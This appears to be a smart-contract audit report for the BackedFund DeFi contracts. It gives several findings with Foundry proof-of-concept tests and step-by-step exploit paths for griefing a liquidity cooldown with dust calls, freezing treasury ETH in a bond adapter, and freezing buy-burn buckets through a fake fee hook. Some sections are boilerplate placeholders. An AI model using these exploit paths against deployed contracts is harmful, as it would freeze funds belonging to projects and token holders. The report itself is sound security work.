import {ProjectSupportController} from "../../contracts/treasury/ProjectSupportController.sol";
import {MockMintableToken} from "../../contracts/mocks/MockMintableToken.sol";
import {LaunchMode} from "../../contracts/types/LaunchTypes.sol";

/// @notice captain-hook Phase 4 verification PoC for finding 028a7bef384c
/// (ProjectSupportController._availableBuyBurn anchors the catch-up clock at
/// buyBurnStartedAt = registration/launch-creation time, so the first
/// buy-burn after >=20 idle days flushes the entire freshly-deposited balance
/// in one tranche instead of pacing it at dailyBps/day).
```

```
///
/// This test intentionally avoids the `vm.warp(block.timestamp + X)` idiom
/// used by the earlier novelty harness (test/novelty/C-041_Novelty.t.sol).
/// Under this project's via_ir-optimized build, chaining two such calls in
/// sequence is the pattern flagged as a possible optimizer-caching hazard for
/// `block.timestamp + X`. To remove any doubt about whether the second warp
/// actually advanced the EVM clock, every warp here goes through a single
/// explicit `uint256 clock` local that is incremented and then passed to
/// `vm.warp` verbatim, with an `assertEq(block.timestamp, clock, ...)` sanity
/// check immediately after each warp.
contract PoC_028a7_Test is Test {
    uint256 internal constant LAUNCH_ID_FLUSH = 1;
    uint256 internal constant LAUNCH_ID_CONTROL = 2;
    uint256 internal constant BPS_DENOMINATOR = 10_000;
    uint256 internal constant INTERVALS_PER_DAY = 144;
    uint256 internal constant INTERVAL = 600; // BUY_BURN_INTERVAL = 10 minutes, in raw seconds

    ProjectSupportController internal controller;
    MockMintableToken internal token;

    address internal creator = makeAddr("creator");
    address internal keeper = makeAddr("keeper");
    address internal treasury = makeAddr("treasury");
    address internal protocolAuthority = makeAddr("protocolAuthority");
    address internal guardian = makeAddr("guardian");
    address internal supportExecutor = makeAddr("supportExecutor");

    // Explicit EVM-clock tracker. Every vm.warp call in this test passes this
    // variable, never a fresh `block.timestamp + X` expression evaluated
    // right before the call — the update happens on its own line first.
    uint256 internal clock;

    function setUp() public {
        clock = 1_700_000_000;
        vm.warp(clock);
        assertEq(block.timestamp, clock, "sanity: setUp warp landed");

        // launchManager = this test contract; deploymentAuthority = msg.sender = this.
        controller = new ProjectSupportController(address(this), protocolAuthority, guardian);
        controller.initializeSupportExecutor(supportExecutor);
        token = new MockMintableToken("Launch", "LAUNCH");
    }

    /// @notice Part A (exploit): register at T0, let 20 idle days pass with no
    /// buy-burn funds deposited, deposit fee F, wait exactly one 10-minute
    /// interval past the deposit, then execute. grossAmount == F (100% of the
    /// balance) instead of the one-interval paced allocation
    /// F * dailyBps / (10_000 * 144).
    ///
    /// Part B (control): register and deposit at the SAME timestamp on a
    /// second launch, wait exactly one interval, execute. grossAmount equals
    /// the paced one-interval allocation, not the full balance — proving the
    /// flush in Part A is caused specifically by the idle pre-deposit gap,
    /// not by some unrelated harness defect.
    function test_exploit_4() public {
        // ================ Part A — the flush ================

        // T0: launch registered. buyBurnStartedAt[launchId] := T0, before any
        // buy-burn funds exist.
        controller.registerProject(LAUNCH_ID_FLUSH, address(token), creator, LaunchMode.Standard);
        controller.setTreasuryVault(LAUNCH_ID_FLUSH, treasury);
        uint64 startedAt = controller.buyBurnStartedAt(LAUNCH_ID_FLUSH);
        assertEq(uint256(startedAt), clock, "startedAt stamped at registration (T0)");

        // Idle period: 20 days elapse with lastBuyBurnExecutionAt still 0, so
        // _availableBuyBurn's checkpoint fallback is buyBurnStartedAt == T0.
        clock = clock + 20 days;
        vm.warp(clock);
        assertEq(block.timestamp, clock, "sanity: clock advanced to T0+20d");

        // First fee deposit lands in the buy-burn bucket (ordinary protocol
```

```
        // operation — trading fee or yield deposit via the treasury vault).
        uint256 fee = 100e18;
        token.mint(treasury, fee);
        vm.startPrank(treasury);
        token.approve(address(controller), fee);
        controller.depositYieldSupport(LAUNCH_ID_FLUSH, address(token), fee, 0);
        vm.stopPrank();

        uint256 balance = controller.buyBurnBalance(LAUNCH_ID_FLUSH, address(token));
        assertEq(balance, fee, "balance == deposited fee");

        // Keeper waits exactly one 10-minute interval after the deposit,
        // i.e. T0 + 20 days + 600s, then triggers the permissionless
        // executeBuyBurn. The clock is advanced via the explicit `clock`
        // local, never a bare `block.timestamp + INTERVAL` folded into the
        // vm.warp call itself.
        clock = clock + INTERVAL;
        vm.warp(clock);
        assertEq(block.timestamp, clock, "sanity: clock advanced to exactly T0+20d+600s");

        uint256 dailyBps = controller.buyBurnDailyAllocationBps(LAUNCH_ID_FLUSH);
        uint256 spentBefore = controller.lifetimeBuyBurnSpent(LAUNCH_ID_FLUSH, address(token));

        vm.prank(keeper);
        controller.executeBuyBurn(LAUNCH_ID_FLUSH, address(token), 0, clock);

        uint256 grossAmount =
            controller.lifetimeBuyBurnSpent(LAUNCH_ID_FLUSH, address(token)) - spentBefore;

        // Paced expectation for exactly ONE interval at the default 5%/day
        // allocation: F * dailyBps / (10_000 * 144).
        uint256 pacedOneInterval = (fee * dailyBps) / (BPS_DENOMINATOR * INTERVALS_PER_DAY);

        assertEq(grossAmount, fee, "flush: entire freshly-deposited balance spent in one tranche");
        assertGt(
            grossAmount,
            pacedOneInterval * 100,
            "flush vastly exceeds the documented one-interval daily-pacing cap"
        );

        // ================= Part B — control =================
        // Register AND deposit at the SAME timestamp (no idle gap before
        // funds exist), then wait exactly one interval and execute. Under
        // correct pacing this spends ~one interval's allocation, not the
        // full balance.
        controller.registerProject(LAUNCH_ID_CONTROL, address(token), creator, LaunchMode.Standard);
        controller.setTreasuryVault(LAUNCH_ID_CONTROL, treasury);

        uint256 fee2 = 100e18;
        token.mint(treasury, fee2);
        vm.startPrank(treasury);
        token.approve(address(controller), fee2);
        controller.depositYieldSupport(LAUNCH_ID_CONTROL, address(token), fee2, 0);
        vm.stopPrank();

        uint256 dailyBps2 = controller.buyBurnDailyAllocationBps(LAUNCH_ID_CONTROL);

        clock = clock + INTERVAL;
        vm.warp(clock);
        assertEq(block.timestamp, clock, "sanity: control clock advanced by exactly one interval");

        uint256 spentBefore2 = controller.lifetimeBuyBurnSpent(LAUNCH_ID_CONTROL, address(token));
        vm.prank(keeper);
        controller.executeBuyBurn(LAUNCH_ID_CONTROL, address(token), 0, clock);
        uint256 grossAmount2 =
            controller.lifetimeBuyBurnSpent(LAUNCH_ID_CONTROL, address(token)) - spentBefore2;

        uint256 pacedOneInterval2 = (fee2 * dailyBps2) / (BPS_DENOMINATOR * INTERVALS_PER_DAY);

        emit log_named_uint("flush grossAmount", grossAmount);
        emit log_named_uint("flush pacedOneInterval", pacedOneInterval);
```

```
        emit log_named_uint("control grossAmount", grossAmount2);
        emit log_named_uint("control pacedOneInterval", pacedOneInterval2);

        assertEq(
            grossAmount2,
            pacedOneInterval2,
            "control: deposit-at-registration spends exactly one interval's paced allocation"
        );
        assertLt(
            grossAmount2,
            fee2,
            "control: paced spend is far smaller than the full balance (sanity vs. Part A's flush)"
        );
    }
}
```

Filed from the BackedFund stage-1 audit (captain-hook run + external findings, merged). Commit `07ea04f`.

Impact

See the concrete security and operational consequences described in the finding analysis.

Proof of Concept

Reproduce the affected call path described in the authoritative issue write-up for finding 6: Buy-burn catch-up clock counts pre-deposit idle time, flushing entire balance in one swap. Compare the vulnerable behavior with the expected invariant and affected accounting or control-flow state.

The authoritative issue write-up includes the affected call path and relevant code excerpts.

Recommendation

Apply the remediation described in the finding analysis and add a regression test covering the failing path.

Status

Fixed — Client-confirmed remediation status. The GitHub issue ledger remains administratively open; independent commit-level and regression-test evidence was not available in the repository state reviewed for publication.

M-04 Project-wide liquidity-support cooldown lets a dust call block the automatic drip for 24h

Source: GitHub issue #7
Severity: Medium

Description

Severity	Medium (reported: Medium)
Confidence	Medium

Location	`ProjectSupportController.sol:_executeLiquiditySupport`
Sources	Ours
Class	MEVEconomic (V0)
Discovered via	phase-27-downstream / mev-economic
Phase 3 verdict	true_positive
PoC	none

Description

What's wrong

A single shared timer decides when a project's liquidity-support funds can be topped up on-chain — and that timer is not per-currency, it is per-project. Anyone can quietly reset that timer to "just fired" by spending a trivial amount on the fully permissionless liquidity-support call, which silently disables the automatic top-up for the entire project, across every currency it holds, for a full day, with no revert and no event marking that anything was blocked.

How

`Project.lastLiquidityExecution` (`ProjectSupportController.sol:4993`) is a single `uint64` field keyed only by `launchId`, while `liquidityBalance` is keyed by `(launchId, currency)` (`ProjectSupportController.sol:5000`). Both `_executeLiquiditySupport`'s own cooldown require (`ProjectSupportController.sol:5467-5469`) and `_attemptAutomaticLiquiditySupport`'s pre-check (`ProjectSupportController.sol:5636-5639`) gate on this SAME project-wide field. `executeLiquiditySupport` (`ProjectSupportController.sol:5398-5409`) is permissionless, requires only `amount > 0` (`:5470`), and imposes no floor on `minLiquidity` — any address can call it with a small `amount` and `minLiquidity = 0`, which stamps `project.lastLiquidityExecution = block.timestamp` (`:5473`) on success. `_attemptAutomaticLiquiditySupport`'s gate then silently `return`s at `:5639` for 24h afterward, for every currency the project holds a liquidity balance in, not just the one the dust call touched.

Impact

- **Project's liquidity-support automation** is suppressed for every currency of the launch, not just the one the griefer touched, because the guard is a single per-project field while the balances it protects are per-currency (`ProjectSupportController.sol:4993` vs `:5000`).
- **Any permissionless caller** can trigger and indefinitely renew the suppression for the cost of one dust-sized `amount` plus gas roughly every 24h — no privileged role, deposit, or bond required.
- **Compounds the parent finding's blast radius**: a single successful trigger of the parent zero-`minLiquidity` exploit on one currency also blocks legitimate manual or automatic liquidity-support execution on every other currency of the same project for the following 24h, since both paths share the exact same timestamp check.

Exploit path

1. Griefer identifies a project with liquidityBalance[launchId][currency] > 0 for at least one currency (the routine steady state for any project accruing trading-fee liquidity support).
2. Griefer calls executeLiquiditySupport(launchId, currency, smallAmount, 0, deadline) with the smallest amount the out-of-scope liquidity executor tolerates and minLiquidity = 0 (no protection needed since the griefer is not trying to profit from the add itself).
3. On success, project.lastLiquidityExecution is stamped to block.timestamp (ProjectSupportController.sol:5473) — a single project-wide field, not scoped to `currency`.

4. For the next EXECUTION_COOLDOWN (24h), _attemptAutomaticLiquiditySupport's gate (:5636-5639) silently skips the automatic post-buy-burn liquidity deployment for EVERY currency of this launchId, and any other manual executeLiquiditySupport call on any currency also reverts on the same cooldown check (:5467-5469).
5. Griefer repeats step 2 once every ~24h (paying only gas plus the negligible smallAmount each time) to keep the project's automatic liquidity-support drip permanently suppressed for as long as they choose.

Recommendation

Scope the cooldown to `(launchId, currency)` instead of `launchId` alone, so a dust call on one currency cannot block liquidity-support execution on another, and cannot silently reset the timer other users are relying on for a project-wide drip.

```
// Project struct: drop the single lastLiquidityExecution field
// and key it per-currency instead:
mapping(uint256 => mapping(address => uint64)) public lastLiquidityExecution;

// _executeLiquiditySupport:
require(
    block.timestamp >= uint256(lastLiquidityExecution[launchId][currency]) + EXECUTION_COOLDOWN,
    "SupportController: liquidity cooldown"
);
...
lastLiquidityExecution[launchId][currency] = uint64(block.timestamp);

// _attemptAutomaticLiquiditySupport's pre-check reads the same per-currency mapping
// keyed on `executionCurrency` before selecting a currency.
```

Filed from the BackedFund stage-1 audit (captain-hook run + external findings, merged). Commit `07ea04f`.

Impact

See the concrete security and operational consequences described in the finding analysis.

Proof of Concept

Reproduce the affected call path described in the authoritative issue write-up for finding 7: Project-wide liquidity-support cooldown lets a dust call block the automatic drip for 24h. Compare the vulnerable behavior with the expected invariant and affected accounting or control-flow state.

The authoritative issue write-up includes the affected call path and relevant code excerpts.

Recommendation

Apply the remediation described in the finding analysis and add a regression test covering the failing path.

Status

Fixed — Client-confirmed remediation status. The GitHub issue ledger remains administratively open; independent commit-level and regression-test evidence was not available in the repository state reviewed for publication.

M-05 Reward income on adapter-held bond units while totalBondUnits is zero makes every project bond mint revert, freezing pending treasury ETH

Source: GitHub issue #20
Severity: Medium

Description

Severity	Medium (reported: High)
Confidence	Medium
Location	`UniversalBondsAdapter.sol:_allocateYield` / `_mintProjectBond`
Sources	Ours
Class	DeltaAccounting (V0)
Discovered via	hypothesis-bootstrap
Phase 3 verdict	severity_mismatch → Medium
PoC	[POC-PASS]

Description

What's wrong

The shared bond adapter assumes every bond staked in its name is one it bought for a project. If someone else buys a bond and names the adapter as the receiver while the adapter holds no project bonds, reward income starts building up on that outside bond. The next project bond purchase collects that income, tries to split it across zero project units, and reverts. The income keeps growing and nothing else can collect it, so every later purchase reverts too. Treasury ETH waiting to be turned into bonds has no other way out.

How

`_harvest` returns early when `totalBondUnits == 0` (`UniversalBondsAdapter.sol:580`), so reward-pool income on units the adapter did not mint itself is never collected. `_mintProjectBond` snapshots the adapter's USDC balance around `bonds.mint` (`:531-545`). With outside units sitting in `rewardPool.userInfo(adapter)`, that change is non-zero, and it is passed to `_allocateYield` before `totalBondUnits` is increased (`:549`). `_allocateYield` then hits `require(totalBondUnits > 0, "no active bonds")` (`:588`) and reverts. The batch path `mintProjectBonds` catches the revert and skips every entry (`:337-341`).

`PendingMint` positions created by `mintBondETH` (`:222-242`) can only leave through `_mintProjectBond`. `requestPositionRedemption` requires `Active` (`:418`), `redeemPrincipal` requires `RedemptionSettled`, and the adapter has no withdraw, cancel or sweep function (see also docs/UNIVERSAL_BONDS_ADAPTER.md: "There is no administrator sweep"). `_harvest` calls `rewardPool.deposit(0)`, which pays `msg.sender`, so no third party can clear the pending income either. `LaunchManager.setTreasuryDependencies` can only be called once (`LaunchManager.sol:207`), and `isLive()` (`:179-194`) never reads unit or reward-pool state. As a result, every later Bond Treasury / Built finalization keeps sending treasury ETH into the stuck adapter.

The repo's own test asserts this revert for yield paid on the first credit (`test/UniversalBondsAdapter.test.ts:353-359`), but only for branch coverage. No comment or doc says it is intended.

Impact

- **Creators / project treasuries:** treasury ETH in `PendingMint` positions is frozen permanently. Redemption, the 90% principal return and yield claims all become unreachable.
- **Every later launch:** new Bond Treasury / Built launches keep routing their treasury leg into the stuck adapter, because `isLive()` still returns true and the adapter cannot be replaced.
- **Scale:** ~38-66.5 ETH of treasury ETH frozen per 100 ETH Bond Treasury launch, for every launch routed to the adapter.
- **Attacker cost:** one full bond payment, with nothing gained in return.
- Scope note: the window is open from deployment until the first successful project mint, and again after each full drain (`totalBondUnits -= units`, `:446`). While `totalBondUnits > 0`, outside income is only a donation to Active positions (swept by `_harvest` at `:527`).

Expected delta: attacker spends one bond payment; all `PendingMint` treasury ETH is frozen permanently

Preconditions

- A third party needs DexFi-signed `MintDataInput` with `receiver = UniversalBondsAdapter`. `MintDataInput` (`INFTBonds.sol:7-15`) has no payer or `msg.sender` field. The realistic way to get one is to **replay the administrator's own unused signed data**: entries skipped by the batch (`:331`, `:337-341`) or a reverted `mintProjectBond` leave valid signed data public in calldata until its deadline. Cheap griefing needs small (e.g. 1-unit) signed data.
- Reward income must actually land on the outside unit before the first project mint. If DexFi pays rewards in discrete drops, the administrator can close the window by minting first.

Exploit path

1. The adapter is deployed with `totalBondUnits == 0`.
2. The attacker submits signed `MintDataInput` naming the adapter as receiver to `NFTBonds.mint{value: paymentAmount}`. The reward pool credits units to the adapter.
3. Reward emissions accrue on those units. `_harvest` never collects them because `totalBondUnits == 0`.
4. A Bond Treasury launch finalizes: `LaunchManager._deployTreasury` → `TreasuryVault.mintBond` → `UniversalBondsAdapter.mintBondETH` creates a `PendingMint` position.
5. The administrator calls `mintProjectBond` / `mintProjectBonds`. `bonds.mint` pays the pending USDC, `harvestedDuringMint > 0`, and `_allocateYield` reverts with `no active bonds`.
6. Every retry sees fresh pending income and reverts again. The `PendingMint` ETH has no exit.

Recommendation

Don't revert when income arrives with no booked units. Park it in a bucket that isn't allocated to any position (for example, route it to the Growth Treasury), and harvest without the zero-units guard.

```
function _allocateYield(uint256 amount) private {
    if (amount == 0) return;
    if (totalBondUnits == 0) {
        unallocatedYield += amount; // or forward to growthTreasury
        emit UnallocatedYield(amount);
        return;
    }
    cumulativeYieldPerBondUnit += (amount * PRECISION) / totalBondUnits;
}
```

Also consider letting the administrator cancel a `PendingMint` position and return its ETH to the TreasuryVault, so no single failure mode can freeze pending ETH.

Proof of concept

`forge test --match-path test/audit/HookAudit_2.t.sol` passes. Three `mintProjectBond` attempts revert with `no active bonds`, the batch path mints 0 and skips 1, `requestPositionRedemption`, `redeemPrincipal` and `claimYield` all revert, and 10 ETH stays in `totalPendingProjectETH`. Mock assumptions: `NFTBonds.mint` accepts any receiver, and the reward pool pays pending USDC when units are credited (modelled with `queueYield` + `setYieldOnNextCredit`, as in `test/UniversalBondsAdapter.test.ts:353-359`). Depends on `test/novelty/C033_Base.sol`.

HookAudit_2.t.sol

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.35;

import "../novelty/C033_Base.sol";
import "../../contracts/treasury/UniversalBondsAdapter.sol";
import "../../contracts/mocks/MockUniversalBondsDependencies.sol";
import "../../contracts/mocks/MockUSDC.sol";
import "../../contracts/mocks/MockWETH.sol";

contract HookAudit2Test is C033_Base {
    MockUniversalRewardPool internal rewardPool;
    MockUniversalNFTBonds internal bonds;
    MockUniversalRedemption internal redemption;
    MockWETH internal weth;
    MockUniversalRouteGuard internal routeGuard;
    MockUniversalSwapRouter internal swapRouter;
    UniversalBondsAdapter internal adapter;
    MockUSDC internal usdc;
    address internal adapterAdmin = address(0xAD);
    address internal protocolAuthority = address(0xA0);
    address internal attacker = address(0xBAD);
    MockUniversalTreasuryVault internal vault;

    receive() external payable {}

    function setUp() public {
        rewardPool = new MockUniversalRewardPool();
        bonds = new MockUniversalNFTBonds(address(rewardPool), address(this));
        rewardPool.setBonds(address(bonds));
        redemption = new MockUniversalRedemption(address(bonds));
        weth = new MockWETH();
        routeGuard = new MockUniversalRouteGuard();
        usdc = MockUSDC(rewardPool.rewardToken());
        swapRouter = new MockUniversalSwapRouter(address(usdc), address(weth));
        adapter = new UniversalBondsAdapter(
            protocolAuthority, adapterAdmin, address(bonds), address(rewardPool), address(redemption),
            address(usdc), address(weth), address(swapRouter), address(routeGuard), uint64(365 days)
        );
        vault = new MockUniversalTreasuryVault();
        vm.deal(address(this), 100 ether);
        vm.deal(attacker, 10 ether);
    }

    function _data(uint256 uuid, address receiver, uint256 pay, uint256 n)
        internal view returns (INFTBonds.MintDataInput memory)
    {
        return INFTBonds.MintDataInput({
            uuid: uuid, nonce: uuid, receiver: receiver, amountNfts: n,
            paymentAmount: pay, deadline: block.timestamp + 1 days, signature: ""
        });
    }

    function test_exploit_2() public {
        address a = address(adapter);
        _assertEq(adapter.totalBondUnits(), 0, "precondition: totalBondUnits==0");

        // ASSUMPTION (external DexFi signer): the signer issues MintDataInput with receiver = adapter
        // for an arbitrary payer. Attacker mints 1 unit crediting the adapter's reward-pool balance.
        vm.prank(attacker);
```

```
        bonds.mint{value: 1 ether}(_data(1, a, 1 ether, 1));
        (uint256 foreignUnits,) = rewardPool.userInfo(a);
        _assertEq(foreignUnits, 1, "foreign unit credited to adapter");
        _assertEq(adapter.totalBondUnits(), 0, "totalBondUnits still 0");

        // ASSUMPTION (reward pool): emissions accrue to the adapter's foreign unit and the pool pays
        // pending USDC to the adapter when the adapter's next mint credits units (mock: queueYield +
        // yieldOnNextCredit models the pool's pay-pending-on-credit behavior, as in the repo's own test).
        rewardPool.queueYield(a, 1_000_000);

        // Treasury opens a position (TreasuryVault.mintBond -> mintBondETH): PendingMint, 10 ETH.
        uint256 pid = vault.createPosition{value: 10 ether}(a);
        _assertEq(adapter.pendingPositionETH(pid), 10 ether, "pending ETH recorded");
        _assertEq(adapter.totalPendingProjectETH(), 10 ether, "total pending");
        uint256 adapterEthBefore = a.balance;

        // Admin mint reverts on every retry (retry with fresh accrual each time).
        for (uint256 i; i < 3; ++i) {
            rewardPool.setYieldOnNextCredit(1);
            vm.prank(adapterAdmin);
            try adapter.mintProjectBond(pid, 10 ether, _data(100 + i, a, 10 ether, 5)) {
                revert("mint unexpectedly succeeded");
            } catch Error(string memory reason) {
                _assertTrue(
                    keccak256(bytes(reason)) == keccak256("UniversalBondsAdapter: no active bonds"),
                    reason
                );
            }
            rewardPool.queueYield(a, 500_000);
        }

        // Batch path silently skips (does not revert, mints nothing).
        rewardPool.setYieldOnNextCredit(1);
        UniversalBondsAdapter.ProjectBondMint[] memory reqs = new UniversalBondsAdapter.ProjectBondMint[](1);
        reqs[0] = UniversalBondsAdapter.ProjectBondMint(pid, 10 ether, _data(200, a, 10 ether, 5));
        vm.prank(adapterAdmin);
        (uint256 minted, uint256 skipped) = adapter.mintProjectBonds(reqs);
        _assertEq(minted, 0, "batch minted none");
        _assertEq(skipped, 1, "batch skipped");

        // No other exit: redemption needs Active; vault claim/redeem revert.
        _assertTrue(adapter.positionState(pid) == UniversalBondsAdapter.PositionState.PendingMint, "still PendingMint");
        IBernardRedemption.RedeemDataInput memory rd = IBernardRedemption.RedeemDataInput(1, 1, a, 5, 1, block.timestamp + 1
days, "");
        vm.prank(adapterAdmin);
        try adapter.requestPositionRedemption(pid, rd) { revert("redeem ok?"); } catch Error(string memory r1) {
            _assertTrue(keccak256(bytes(r1)) == keccak256("UniversalBondsAdapter: position not active"), r1);
        }
        try vault.redeem(a, pid) returns (uint256) { revert("redeemPrincipal ok?"); } catch Error(string memory r2) {
            _assertTrue(keccak256(bytes(r2)) == keccak256("UniversalBondsAdapter: redemption not settled"), r2);
        }
        try vault.claim(a, pid) returns (uint256) { revert("claim ok?"); } catch Error(string memory r3) {
            _assertTrue(keccak256(bytes(r3)) == keccak256("UniversalBondsAdapter: no yield"), r3);
        }

        _assertEq(a.balance, adapterEthBefore, "adapter ETH unchanged");
        _assertEq(adapter.totalPendingProjectETH(), 10 ether, "10 ETH still frozen");
        _assertEq(adapter.pendingPositionETH(pid), 10 ether, "position pendingETH still 10 ETH");
        _assertEq(adapter.totalBondUnits(), 0, "no project bond ever minted");
    }
}
```

Filed from the BackedFund stage-2 audit (captain-hook run, manually re-verified). Commit `07ea04f`.

Impact

See the concrete security and operational consequences described in the finding analysis.

Proof of Concept

Reproduce the affected call path described in the authoritative issue write-up for finding 20: Reward income on adapter-held bond units while totalBondUnits is zero makes every project bond mint revert, freezing pending treasury ETH. Compare the vulnerable behavior with the expected invariant and affected accounting or control-flow state.

The authoritative issue write-up includes the affected call path and relevant code excerpts.

Recommendation

Apply the remediation described in the finding analysis and add a regression test covering the failing path.

Status

Fixed — Client-confirmed remediation status. The GitHub issue ledger remains administratively open; independent commit-level and regression-test evidence was not available in the repository state reviewed for publication.

M-06 Buy-burn tranche can grow past the executor's price-impact cap with no partial path, freezing the bucket (organically or via a fake-hook deposit)

Source: GitHub issue #21
Severity: Medium

Description

Severity	Medium (reported: High)
Confidence	Medium
Location	`ProjectSupportController.sol:executeBuyBurn` / `_availableBuyBurn`
Sources	Ours (two merged findings: organic freeze + attacker-forced freeze; same root cause and fix)
Class	InvariantViolation (V0)
Discovered via	hypothesis-bootstrap / phase-27-downstream
Phase 3 verdict	severity_mismatch → Medium
PoC	[POC-PASS]
Related	#6 (idle-clock full flush), #13 (caller-chosen hook in `collectTradingFees`)

Description

What's wrong

The contract decides how much buy-and-burn money to spend per run, and that amount only grows the longer nobody runs it. The swap that spends it refuses any trade that moves the project's pool by more than a small fixed percentage. Once the scheduled amount is bigger than the pool can absorb within that limit, every run fails. The scheduled amount keeps growing,

and nothing can spend a smaller piece. Anyone can also push a bucket into this state on purpose by depositing through a fake fee hook.

How

`_availableBuyBurn` (`ProjectSupportController.sol:729-761`) returns `buyBurnAmountPerInterval × intervalsElapsed`, or the whole `buyBurnBalance` once `intervalsElapsed >= ceil(1,440,000 / bps)` (2,880 intervals = 20 days at the default 500 bps). With no prior execution, the checkpoint falls back to `buyBurnStartedAt` (`:740`, see #6). `executeBuyBurn` (`:368`) takes no amount argument, and its NatSpec (`:448-452`) says callers "cannot select a smaller amount".

`ProjectSupportExecutor._v4Minimum` (`ProjectSupportExecutor.sol:575-611`) requires the spot quote to be at least `twapOut × (1 − maxImpactBps)`, with `DIRECT_V4_IMPACT_BPS = 100` for counter-asset input and `STANDARD = 50` / `PLAZM = 25` for USDC input (`:85-88`). The USDC leg also requires `amountIn <= routeGuard.maxSafeUsdcInput(mode)` (`:219`). Including the 1% caller incentive and 1% hook fee, a full-range pool with counter reserve `R` accepts a gross tranche of about **1.03% of R** for WETH input (about 0.51% for USDC). A larger tranche reverts `SupportExecutor: V4 price impact`. The revert rolls back `lastBuyBurnExecutionAt` (`:393`), so the tranche only ever grows.

Attacker trigger. `collectTradingFees` (`:279-297`) accepts any caller-chosen `hook` (#13). An attacker hook whose `claim()` transfers `D` of the currency into `buyBurnVault` credits `D` to `buyBurnBalance` without touching the checkpoint. That pushes an idle bucket over the cap whenever the attacker wants.

Recovery is limited. The creator's only lever is `setBuyBurnDailyAllocationBps(launchId, 100)` (`:323-338`), which sets tranche = `B × k / 14,400`, where `k` is the number of idle intervals. This recovers only while `B ≤ cap × 14,400 / k`: - at 20 idle days, B ≤ 5× cap (~5.2% of R); - at 60 days, B ≤ ~1.67× cap; - at **100+ days**, not at all for any B above the cap, because the tranche is then the whole balance.

A USDC bucket that has never been funded counts as idle from registration, so for an old project an attacker only needs to deposit a little over the cap (~1% of R). No admin path helps: `proposeAdapters` changes only the global executor for future projects, `project.buyBurnExecutor` is fixed at `registerProject` (`:254`), and `setExecutionSlippageBps` does not touch `_v4Minimum`.

Not tested: a project-token holder could probably unfreeze the bucket in one transaction. Same-block price moves don't enter the hook's TWAP, so the holder could sell project tokens or add narrow-range liquidity, then call `executeBuyBurn` in the same transaction. So the freeze is likely not strictly permanent, but nothing in the protocol offers that rescue.

Impact

- **Project token holders:** buybacks from the frozen currency bucket stop. Every later trading-fee and TreasuryVault yield deposit into that bucket joins a tranche that can never be spent.
- **Post-burn automation:** `executeBuyBurn` reverts as a whole, so the liquidity support and fee routing it triggers (`:649-664`) never run for that currency.
- **Scale (worked example):** with a 20 ETH hard cap, R ≈ 9.69 WETH and the cap ≈ 0.0999 WETH. A 0.4 WETH bucket idle for 20 days freezes, and creator recovery works. 0.6 WETH (6.2% of R) does not recover. Any bucket idle for 100+ days over the cap does not recover.
- **Attacker cost:** the donated `D` (also frozen), and no profit. This is griefing.

Expected delta: 0 extracted; 100% of `buyBurnBalance[launchId][currency]` plus all later deposits unspendable until reserves grow or someone performs an outside rescue

Exploit path

1. A project's buy-burn bucket for one currency has no successful execution for k intervals, so the checkpoint is `buyBurnStartedAt` or a stale `lastBuyBurnExecutionAt`.
2. Organic case: fee and yield deposits grow `B` until `B × k × bps / 1,440,000` exceeds the cap. With k ≥ 2,880 at 500 bps, the tranche equals the whole `B`.

3. Attacker case: the attacker deploys `FakeHook.claim(currency)` that transfers `D` to `project.buyBurnVault` and calls `collectTradingFees(launchId, 0, FakeHook, currency)`. `buyBurnBalance += D`, and the checkpoint is untouched.
4. `executeBuyBurn(launchId, currency, 0, deadline)` → `_v4Minimum` reverts `V4 price impact` (or `V3 capacity` for USDC), and the checkpoint write is rolled back.
5. Every later call sees the same or a larger tranche. Once `B > cap × 14,400 / k`, `setBuyBurnDailyAllocationBps(100)` cannot bring the tranche under the cap.

Recommendation

Clamp the tranche to what the executor can safely route, and advance the checkpoint only in proportion to the amount actually spent. Alternatively, let the caller pick an amount up to the available tranche.

```
// executeBuyBurn
(uint256 grossAmount, uint256 incentive, uint64 checkpointAfter) = _availableBuyBurn(launchId, currency);
uint256 cap = IProjectSupportExecutor(project.buyBurnExecutor).maxSafeBuyBurnInput(launchId, currency);
if (grossAmount > cap) {
    // spend only `cap`; advance the checkpoint pro rata so the remainder stays queued
    checkpointAfter = _partialCheckpoint(launchId, currency, cap, grossAmount);
    grossAmount = cap;
    incentive = grossAmount * BUY_BURN_EXECUTOR_INCENTIVE_BPS / BPS;
}
```

Also validate `hook` and `currency` in `collectTradingFees` against the launch's registered pool (#13), so the bucket cannot be inflated on demand.

Proof of concept

`forge test --match-path test/audit/HookAudit_34.t.sol` passes (`test_exploit_3`, `test_exploit_4`). The tests use the real `ProjectSupportController` + `ProjectSupportExecutor` with a constant-product V4 quoter (R = 9.69 WETH, cap ≈ 0.099 WETH). Results: - **Organic (`test_exploit_3`):** a 0.4 WETH bucket idle for 2,880 intervals reverts, and still reverts 30 days later. Recovery at 100 bps works at a 20-day gap but fails for 0.6 WETH and for any gap of 100+ days. - **Attacker (`test_exploit_4`):** D = 0.05 WETH does not freeze. D = 0.2 WETH freezes but is recoverable. D = 0.6 WETH freezes, cannot be recovered, and a later honest 1 WETH deposit joins the frozen bucket.

Mock limitation: the quoter's spot always equals the TWAP, so the tests don't model reserve growth or the same-block rescue above. Depends on `test/novelty/C-032_Novelty.t.sol`.

HookAudit_34.t.sol

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.35;

// Phase 4 PoCs for findings 3 and 4 (buy/burn tranche > executor impact cap => frozen bucket).
// REAL ProjectSupportController + REAL ProjectSupportExecutor. The V4 quoter is replaced by a
// constant-product quoter (reserve R of counter asset) so the executor's REAL _v4Minimum impact
// check (100 bps for counter-asset input) sees genuine price impact. Time is tracked in storage
// because via_ir may cache block.timestamp across vm.warp.

import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ProjectSupportController} from "../../contracts/treasury/ProjectSupportController.sol";
import {ProjectSupportExecutor} from "../../contracts/treasury/ProjectSupportExecutor.sol";
import {MockMintableToken} from "../../contracts/mocks/MockMintableToken.sol";
import {MockV4PoolManager} from "../../contracts/mocks/MockV4PoolManager.sol";
import {
    MockLaunchPoolCatalog,
    MockERC20SwapRouter02,
    MockProjectSupportRouteGuard
} from "../../contracts/mocks/MockProjectSupportExecution.sol";
import {C032_Hook} from "../novelty/C-032_Novelty.t.sol";
import {IV4Quoter} from "../../contracts/interfaces/v4/IV4Quoter.sol";
```

```
import {IHooks, PoolKey, Currency} from "../../contracts/interfaces/v4/IV4Types.sol";
import {LPFeeLib} from "../../contracts/interfaces/v4/V4Libraries.sol";
